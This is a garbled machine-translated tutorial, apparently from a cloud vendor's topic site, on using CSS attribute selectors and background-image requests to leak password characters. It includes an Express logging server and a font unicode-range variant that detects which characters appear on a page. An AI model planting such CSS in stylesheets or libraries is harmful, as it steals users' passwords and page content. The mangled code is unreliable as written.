about how CSS records user passwords

This article mainly introduces the CSS to record the user password method of the relevant information, small series feel very good, and now share to everyone, but also for everyone to do a reference. Let's take a look at it with a little knitting.

Simple CSS code does not even conform to Turing's complete language, but it can also be a tool for some attackers, here's a quick introduction to how to use CSS to record a user's password. However, these CSS scripts appear in third-party CSS libraries, so it is also prudent to use a third-party CSS library to ensure code security. Directly on the code parsing:

input[type= "password"][value$= "0"] {     background-image:url ("http://localhost:3000/0");} input[type= "Password"][value$= "1"] {     background-image:url ("HTTP://LOCALHOST:3000/1");} input[type= "Password"][value$= "2"] {     background-image:url ("HTTP://LOCALHOST:3000/2");}

The above is part of the code, let us parse the CSS code

input[type="password"]is the CSS selector, the function is to select the Password input box, indicating that the value of the [value$="0"] matching input is ending with 0. So:

input[type= "password"][value$= "0"] {     background-image:url ("http://localhost:3000/0");}

The above code means that if you enter 0 in the Password box, the http://localhost:3000/0 interface is requested, but the browser does not store the values entered by the user in the Value property by default, but some frameworks synchronize the values, such as react.

So as long as the use of the script can be used to store the user's input data information.

Let's take a look at the server-side code:

Const EXPRESS = require ("Express"); const APP = Express (); App.get ("/:key", (req, res) = = {   Process.stdout.write ( Req.params.key);   Return Res.sendstatus (400);}); App.listen (+, () = Console.log ("Start, monitor 3000 port"));

Use Express to create a server, listen to 3000 port, as long as the request Http://localhost:3000/:key, you can output key value, you can record the input value on the server. So as long as each input value is matched, and then through the Background-image to request an already prepared interface, you can record the user's input. A similar method of documenting the user's content in CSS code @font-face {

   Font-family:blah;     Src:url (' http://localhost:3000/a ') format (' Woff ');     unicode-range:u+85;} HTML {     Font-family:blah, Sans-serif;}

You use the CSS of the Simple font library, as long as your page contains a, will go to request http://localhost:3000/a, so you can know that your page contains a character.

The above is the whole content of this article, I hope that everyone's learning has helped, more relevant content please pay attention to topic.alibabacloud.com!